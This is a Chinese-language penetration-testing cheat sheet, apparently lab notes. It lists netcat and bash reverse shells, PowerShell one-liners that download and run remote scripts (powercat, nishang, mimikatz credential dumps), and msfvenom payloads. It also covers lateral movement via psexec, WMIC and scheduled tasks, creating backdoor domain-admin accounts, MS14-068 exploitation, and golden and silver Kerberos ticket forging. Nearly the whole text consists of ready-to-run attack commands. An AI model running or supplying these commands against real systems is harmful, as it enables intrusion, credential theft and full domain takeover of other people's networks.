-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名(不使用DNS反向查询IP地址的域名)
-o film记录16进制的传输
-p[空格]端口 本地端口号
-s addr 本地源地址
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w 数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
tcp端口扫描:nc -vv ip port
nc -vv -w 5 ip 1000-2000
传输文件:
肉鸡:nc hacker_ip port < /etc/passwd
nc -d -l -p port > ./pwd
加密传输
传输目录
正向连接: nc -l -p 8888 -t -e cmd.exe
nc -nvv 肉鸡IP 8888
反向连接: nc -lvvp 8888
nc -t -e cmd.exe hacker_ip 8888
*********************************LINUX************************************
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
nc -e
nc 非-e
FIFO
telnet
python
php
java
puel
ruby
~~~~~~~~~
*********************************Windows***************************************
nc
ew
语言类(服务器上有安装!!!)
*******************************************************************************
其他反弹shell的方式
powercat
内存读取方式:powershell.exe -Nop -Nonl -exec bypass IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p 9999 -e cmd
本地加载文件:
nishang
powershell.exe -exec bypass IEX(New-Object System.Net.Webclient).DownloadString('http://192.168.1.1:8668/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.129 -port 6666
dnscat 建立加密的DNS通道
server:ruby dnscat2.rb --dns "domain=demo.com,host=192.168.1.129" --no-cache -e open
client:powershell -exec bypass IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain demo.com -DNSServer 192.168.1.129
Empire后渗透测试工具
************************************************************************************************************
PowerSploit 后渗透框架 ,dll 反弹shell 后门 信息收集 清理日志记录
powershell -exec bypass IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.1:9009/Invoke-DllInjection.ps1 ');Invoke-DllInjection -ProcessID 2324 -Dll c:\test.dll
生成dll文件:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.129 lport=6667 -a x64 --platform windows -f dll -o ./test.dll
开启某个程序:肉鸡 start-process C:\windows\system32\notepad.exe -WindowStyle Hidden 2324
************************************************************************************************************
MSF和powershell 获取权限
exploit/multi/script/web_delivery
http://192.168.1.129:8080/PP3caCigb
powershell.exe -nop -w hidden -c $h=new-object net.webclient;$h.proxy=[Net.WebRequest]::GetSystemWebProxy();$h.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $h.downloadstring('http://192.168.1.129:8080/PP3caCigb');
**************************************************************************************************************
Meterpreter综合利用
shell
cat
getpwd 肉鸡家目录 pwd
ls
upload
download
ps
getpid
migrate
sysinfo
getuid
getsystem 提权
run 执行脚本
hashdump
load 加载额外的辅助程序
********************************************************************************************
ipc$漏洞利用
共享命名管道(139/445)
net view
net share 查看本机共享资源列表
net use 与网络中的主机建立连接
net use \\192.168.1.135\IPC$ /del 删除连接
net use \\192.168.1.134\c$ "123.com" /user:administrator 建立全连接
net user \\192.168.1.136\ipc$
copy evil.exe \\192.168.1.135\C$ ()
net use z: \\192.168.1.121\c$ "PASSWORD" /user:"USERNAME"
pstools psexec 账号和密码
psexec \\192.168.1.136 cmd
PsExec.exe \\192.168.1.136 cmd -u test -p 123.com,
上传木马文件:
copy
在映射过来的盘符中创建或者复制到里面
运行木马程序:(计划任务)
at xp ser03
at \\192.168.1.101 15:00 c:\evil.exe
at \\192.168.1.101 15:00 systeminfo >c:\\1.txt
net time \\192.168.1.101
SC
SCHTASKS /Create /S 192.168.1.136 /U test /P 123.com /SC ONCE /ST 14:32 /TN test12 /TR cmd.exe /RU system
SCHTASKS /Create /S 192.168.1.135 /U administrator /P 123456 /SC ONCE /ST 16:20 /TN test12 /TR cmd.exe /RU system
SUCCESS: The scheduled task "test12" has successfully been created.
WMIC
wmic process call create "C:\Program Files\Tencent\QQ\QQ.exe"
wmic process where name=”notepad.exe” call terminate
wmic /node:192.168.1.136 /user:test /password:123.com process call create "c:\add.bat"
wmic /node:192.168.1.135 /user:test /password:123.com process call create "shutdown.exe -r -f -m"
wmic /USER:"administrator" /PASSWORD:"123456" /NODE:"192.168.1.135" process call create "whoami"
wmic /USER:"administrator" /PASSWORD:"123456" /NODE:"192.168.1.135" process
wmic computersystem get domain 查看工作组或者域
wmic computersystem where "name='a123'" call rename demo 修改计算机名abc为123
wmic DISKDRIVE get Caption,size,InterfaceType 获取物理磁盘型号大小等
wmic FSDIR where "drive='c:' and filename='test'" list 查找c盘下名为test的目录
wmic fsdir "c:\\good" call delete 删除c:\good文件夹
wmic process call create notepad
wmic process call create shutdown.exe
wmic process list brief 列出进程的核心信息,类似任务管理器
wmic SERVICE where name="VaultSvc" call startservice 运行apache服务
wmic SERVICE where name="apache" call stopservice
wmic SHARE where name="e$" call delete删除共享
WMIC SHARE CALL Create "","test","3","TestShareName","","c:\test",0 添加共享
wmic STARTUP list 查看启动项
wmic useraccount where "name='admin" call Rename admin00 修改名字admin为admin00
wmic qfe get hotfixid 补丁程序
wmic /node:192.168.1.136 /USER:test PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 开启远程桌面服务
powershell.exe -exec bypass IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.1:9008/invoke-mimikatz.ps1');Invoke-Mimikatz -DumpCreds |Out-File C:\\a.txt
wmic /USER:"test" /PASSWORD:"123.com" /NODE:"192.168.1.136" process call create "powershell.exe -exec bypass IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.1:9008/invoke-mimikatz.ps1');Invoke-Mimikatz -DumpCreds |Out-File C:\\a.txt"
***************************************************************************************
SMB欺骗(重放、中继)
SMB v1 xp/2003
SMB v2 7 2008 2008r2
SMB v3 8 8.1 2012 2016
nmap -Pn -sT -p 445 --open --script smb-security-mode.nse,smb-os-discovery.nse 192.168.1.0/24
使用Invoke-Inveigh.ps1攻击
客户端: Import-Module C:\Users\Administrator\Desktop\Invoke-Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -LLMNR Y -HTTP Y -Proxy Y
TEST::TEST-PC:C1D28E3FE5B4C9A5:EA3881DB16C07C6F1E8D463DD96EB1EC:0101000000000000C3D9AC092C41D5012755EC83D2309BC10000000
0020004005700490001000400570049000400040077006900030004007700690007000800C3D9AC092C41D501060004000200000008003000300000
00000000000000000000300000B8FD9CE807089CCF0CB76425FFBCEC3B6BDEBF5F13018192A107AC3B18D0C04E0A001000000000000000000000000
000000000000900240063006900660073002F003100390032002E003100360038002E0031002E00310033003300000000000000000000000000
hashcat -a 0 -m 5600 hash.txt passwd.txt(123.com,)
pstools(psexec) ipc$ smbmap msf
psexec.exe \\192.168.1.135 -u test -p 123.com, cmd
**********************************************************************************
Responder(局域网嗅探器)
https://github.com/SpiderLabs/Responder.git
python respsonder.py -I eth0
***********************************************************************
msf SMB嗅探
*************************************************************************************************
ARP DNS 欺骗 内网嗅探
**********************************************************************************************
域环境
1、安装 DNS ip静态 首选DNS 指向自己 活动目录(dcpromo) 重启
mydc.com\administrator 123.com
MSF内网环境综合利用
域环境
加入域环境的条件:
DNS 指向自己DNS服务器 192.168.1.137
win7 非企业版 可以加入
需要域账号(域普通账号 域管理员)
域渗透流程:
域环境信息收集(网络信息、域用户、域管理员、域名称、本地用户列表等)
域控的定位(找DC所在位置,ping nslookup powershell python 等等)
域控的攻击(MS14068 传输票据 MSB中继 配置问题 提权等等)
登录域控(pstools SMB ipc$ WMI MSF CS 等等)
收集当前域环境下的信息(hash/网路拓扑/用户数据等)
域渗透的前提条件:需要拿下处于某个域环境的一台PC(DC:后续流程就简单了 、非DC:做上述域渗透的所有流程!!!!)
###信息收集:
ipconfig /all
net user
net localgroup administrsators 本地管理员(域用户)
net user /domain 域用户 krbtgt kerbreos认证中心用户、
net group /domain 域环境中的组
net group "domain admins" /domain 查询域管理组
net group "domain computers" /domain 查询域中所有的计算机
net group "domain controllers" /domain 查询域控
net group "domain users" /domain 查询域中所有的用户
net time /domain 判断主域,主域服务器中有时间服务器
net config workstaions 登录域
net session 会话
net use \\ip\C$ "pwd" /user:user 建立会话
net share
net view 查看域内PC列表
net view \\ip 某ip对应共享
new view /domain 查看整个网络环境中域列表
net view /domain:workgroup 查看指定域下计算列表
net accounts /domain 域密码策略
nbtstat -A
route print
arp -a
针对域的命令:
dsquery computer
dsquery subnet
group
ou
site
server
user
*
###域控的定位
net group "domain controllers" /domain 查询域控 mydemo
ping -n 1 mydemo -4 根据名称找IP
确认 ping mydc.com nslookup mydc.com DNS AD 同一台PC
net group "domain admins" /domain 查询域管理组
DOS命令中添加域账号:
net user username password /add /domain
net group 组名 用户名 /add /domain
net user hacker 123.com, /add /domain
net group "domain admins" hacker /add /domain
net group "domain controllers" hacker /add /domain
注意上述两行命令需要域管理员方可操作!!!!!!
###域攻击
(1)当前getshell并提权的主机上登录账号是域管理员
使用当前具有域控权限的账号去登陆域控所在PC
直接使用工具导出密码(dcuser1 administrator)
(2)MS14-068攻击(当前目标服务器:域控 中没有安装KB3011780)
step 1:dir \\mydemo.mydc.com\C$
step 2:使用mimikatz和MS14-068 生成票据
查看当前普通域用户所在PC的SID whoami /all S-1-5-21-1882168165-1614527120-2746584387-1110
whoami /user
wmic useraccount get name,sid
MS14-068.exe MS14-068.py MS14-068.ps1
产生票据的地方是在普通域用户所在PC 还是可以在攻击者电脑中(代理) 运行?
产生票据的过程需要连接到域控PC!!!!连接不上则无法生成票据、
ping mydc.com
192.168.1.137 没有web DNS 搭理PC(肉鸡) 测试域控的连通性 没问题
192.168.1.130 web 能访问
step 3:python MS14-068.py 查看帮助信息
-u 域账号@域名城 dcuser2@mydc.com
-p 域账号密码 12345.com
-s 域账号的SID号 S-1-5-21-1882168165-1614527120-2746584387-1110
-d 域控所在的位置 mydemo.mydc.com
TGT_dcuser2@mydc.com.ccache
python ms14-068.py -u dcuser2@mydc.com -p 12345.com -s S-1-5-21-1882168165-1614527120-2746584387-1110 -d mydemo.mydc.com
step 4: 使用mimikatz 清空当前计算机中kerberos票据
kerberos::purge 清空票据
然后倒入票据:
mimikatz.exe "kerberos::ptc TGT_dcuser2@mydc.com.ccache"
step5:dir \\mydemo.mydc.com\C$
***********************************************************************************************************************
黄金票据:TGT
条件:
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
step 1:获取KRBTGT的HASH
mimikatz.exe "lsadump::dcsync /domain:mydc.com /user:krbtgt" fe7e9d05fc51f8bb80f9b6fd024160c0
step 2:生成黄金票据 golden.kiribi
域SID号:S-1-5-21-1882168165-1614527120-2746584387-500
mimikatz.exe "kerberos::golden /admin:administrator /domain:mydc.com /sid:S-1-5-21-1882168165-1614527120-2746584387 /krbtgt:fe7e9d05fc51f8bb80f9b6fd024160c0 /ticket:golden.kiribi"
/admin:伪造的用户名
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
step 3:黄金票据的使用
通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中。
kerberos::purge
kerberos::ptt golden.kiribi
kerberos::list
step 4:查看dir \\mydemo.mydc.com\C$
**********************************************************************************************************************
白银票据:
1.域名称
2.域的SID值
3.域的服务账户的密码HASH(不是krbtgt,是域控)
4.伪造的用户名,可以是任意用户名,这里是silver
step 1:首先我们需要知道服务账户的密码HASH,这里同样拿域控来举例,通过mimikatz查看当前域账号administrator的HASH值。注意,这里使用的不是Administrator账号的HASH,而是mydemo$的HASH。
sekurlsa::logonpasswords efa6570ee8fae2fc58888cda0c2cc135
step 2: kerberos::golden /domain:mydc.com /sid:S-1-5-21-1882168165-1614527120-2746584387 /target:mydemo.mydc.com /service:cifs /rc4:efa6570ee8fae2fc58888cda0c2cc135 /user:silver /ptt
/domain: 当前域名称
/sid: SID值 取最后- 前面的部分
/target: 目标主机 域控
/service: 服务名称 要访问共享文件 CIFS
/rc4: 目标主机HASH
/user: 伪造用户
/ptt pass the ticket 把生成的票据导入内存 如果想导出到文件 使用 /ticket:silver.sil kerberos::ptt ticket:silver.sil
step 3:klist 查看本机的kerberos票据可以看到生成的票据
step 4: dir \\mydemo.mydc.com\C$
****************************************************************************************************************
令牌窃取
当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只有在重启机器后才会清除。
• 可以使用多种工具查看目前系统上存在的模拟令牌:
• Incognito
• Powershell - Invoke-TokenManipulation.ps1
• Cobalt Strike - steal_token
下面主要使用MSF来测试:
meterpreter > getsystem
meterpreter > load incognito
meterpreter > list_tokens –u
Delegation Tokens Available
==============================
NT AUTHORITY\LOCAL SERVICENT
AUTHORITY\NETWORK SERVICENT
AUTHORITY\SYSTEM
PAYLOADS\Administrator
PAYLOADS\w7
meterpreter > impersonate_token "PAYLOADS\\Administrator”
[+] Delegation token available
[+] Successfully impersonated user
PAYLOADS\Administrator
meterpreter > getsystem
meterpreter > getuid
然后是system权限
综合环境
TOP10